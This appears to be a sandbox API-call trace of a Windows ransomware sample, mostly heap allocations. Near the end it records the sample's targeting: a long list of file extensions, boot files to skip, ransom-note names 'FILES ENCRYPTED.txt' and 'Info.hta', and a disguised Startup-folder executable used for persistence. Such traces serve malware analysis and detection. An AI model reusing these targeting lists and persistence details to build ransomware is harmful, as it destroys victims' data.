RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7310 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6cf8 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45df78 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6c08 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6c50 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6d58 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45dfb8 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6cb0 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a6c80 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6bf0 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6ce0 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6c20 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6d10 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6cc8 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6e48 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a6d28 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a6e60 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6d40 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6e90 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6d70 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a6e78 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6c38 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6d88 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6c68 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6c98 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6da0 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6db8 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6dd0 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45e088 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x45dfd8 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6de8 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6e00 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6e18 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6e30 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6ba8 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a6bc0 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6bd8 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7b00 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7b18 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a79c8 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a79e0 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a79f8 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7b30 [0173.588] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463418, Size=0x400) returned 0x4a7f88 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7a10 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7b48 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a7ad0 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7ae8 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7ab8 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7aa0 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a7a40 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7a58 [0173.588] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a79b0 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7a28 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45e028 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7b60 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a7a70 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7a88 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a74e8 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a73e0 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7440 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x4a7458 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7548 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7620 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7578 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a73f8 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a74b8 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7470 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7530 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7560 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45e038 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7488 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a75a8 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a75f0 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7638 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7518 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7590 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7500 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a74a0 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7680 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x4a75c0 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7428 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x4a74d0 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7410 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7608 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a75d8 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7650 [0173.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7668 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a7698 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a73b0 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a73c8 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7728 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7758 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7818 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a78d8 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7830 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a77b8 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7848 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a76e0 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7710 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7998 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a77d0 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a78c0 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7950 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7740 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7860 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4a76c8 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x12) returned 0x436180 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7878 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a77e8 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7770 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7890 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7968 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7788 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a77a0 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a78a8 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7980 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a78f0 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7800 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7908 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7920 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a76b0 [0173.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7938 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a76f8 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a8930 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a8990 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a8960 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a8708 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a8948 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a87f8 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a86d8 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x4a8810 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a8828 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45e0a8 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a8780 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45e0c8 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a8798 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a89a8 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a8918 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a8720 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a86c0 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a8738 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a86f0 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a8840 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a88e8 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a87e0 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a8768 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a88b8 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a87b0 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a88a0 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45e0e8 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a8750 [0173.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a8858 [0173.591] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a7f88, Size=0x800) returned 0x4a8b98 [0173.592] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0173.592] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a5b70 | out: hHeap=0x420000) returned 1 [0173.592] lstrlenW (lpString="") returned 0 [0173.592] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a9568 | out: hHeap=0x420000) returned 1 [0173.592] lstrlenW (lpString=".kr") returned 3 [0173.592] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45dff8, Size=0x8) returned 0x45e1b8 [0173.592] lstrlenW (lpString=".kr") returned 3 [0173.592] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a9568 | out: hHeap=0x420000) returned 1 [0173.592] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a95e0, Size=0x20) returned 0x45db50 [0173.592] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45db50, Size=0x40) returned 0x437868 [0173.592] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437868, Size=0x80) returned 0x4a58d8 [0173.592] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45dff8, Size=0x8) returned 0x45e2b8 [0173.592] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e2b8, Size=0x10) returned 0x4a96b8 [0173.592] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a96b8, Size=0x20) returned 0x45d830 [0173.592] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0173.592] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a58d8 | out: hHeap=0x420000) returned 1 [0173.592] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a9610, Size=0x20) returned 0x45d8d0 [0173.592] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d8d0, Size=0x40) returned 0x437a60 [0173.592] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0173.592] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0173.592] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437a60 | out: hHeap=0x420000) returned 1 [0173.592] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a9610, Size=0x20) returned 0x45da38 [0173.592] lstrlenW (lpString="Info.hta") returned 8 [0173.592] lstrlenW (lpString="Info.hta") returned 8 [0173.592] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45da38 | out: hHeap=0x420000) returned 1 [0173.593] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x484b70, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe")) returned 0x59 [0173.593] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x484b70 | out: hHeap=0x420000) returned 1 [0173.593] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0173.593] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d830, Size=0x40) returned 0x4375e0 [0173.593] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a9610, Size=0x20) returned 0x45db78 [0173.594] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a9610, Size=0x20) returned 0x45d920 [0173.594] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d920, Size=0x40) returned 0x437a60 [0173.594] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437a60, Size=0x80) returned 0x4a56b8 [0173.594] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a56b8, Size=0x100) returned 0x463418 [0173.594] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0173.594] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463418 | out: hHeap=0x420000) returned 1 [0173.594] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x484b70, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0173.594] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a9ba8 | out: hHeap=0x420000) returned 1 [0173.595] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x484b70 | out: hHeap=0x420000) returned 1 [0173.596] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e128, Size=0x8) returned 0x45e138 [0173.596] lstrlenW (lpString="%windir%;") returned 9 [0173.596] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45db78 | out: hHeap=0x420000) returned 1 [0173.596] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0173.596] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x474b68 | out: hHeap=0x420000) returned 1 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a96b8, Size=0x20) returned 0x45d740 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d740, Size=0x40) returned 0x437670 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437670, Size=0x80) returned 0x4a5520 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a5520, Size=0x100) returned 0x463418 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e0f8, Size=0x8) returned 0x45e178 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e178, Size=0x10) returned 0x4a93d0 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a93d0, Size=0x20) returned 0x45d740 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e208, Size=0x8) returned 0x45e1e8 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e218, Size=0x8) returned 0x45e268 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e1a8, Size=0x8) returned 0x45e218 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e218, Size=0x10) returned 0x4a97c0 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a97c0, Size=0x20) returned 0x45dab0 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e1e8, Size=0x10) returned 0x4a9940 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e268, Size=0x10) returned 0x4a9838 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e168, Size=0x8) returned 0x45e218 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e128, Size=0x8) returned 0x45e1c8 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a9940, Size=0x20) returned 0x45da38 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a9838, Size=0x20) returned 0x45d790 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e2a8, Size=0x8) returned 0x45e168 [0173.597] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0173.597] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463418 | out: hHeap=0x420000) returned 1 [0173.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a9880, Size=0x20) returned 0x45d768 [0173.598] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x4a9ba8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0173.598] lstrlenW (lpString="C:\\") returned 3 [0173.598] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.598] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a9ba8 | out: hHeap=0x420000) returned 1 [0173.598] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e178, Size=0x82) returned 0x4634a8 [0173.599] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e268, Size=0x100) returned 0x463538 [0173.599] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4634a8, Size=0x104) returned 0x4a8018 [0173.599] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463538, Size=0x200) returned 0x4a8128 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45e158 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a8128 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a9850 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a5520 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a9730 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a58d8 | out: hHeap=0x420000) returned 1 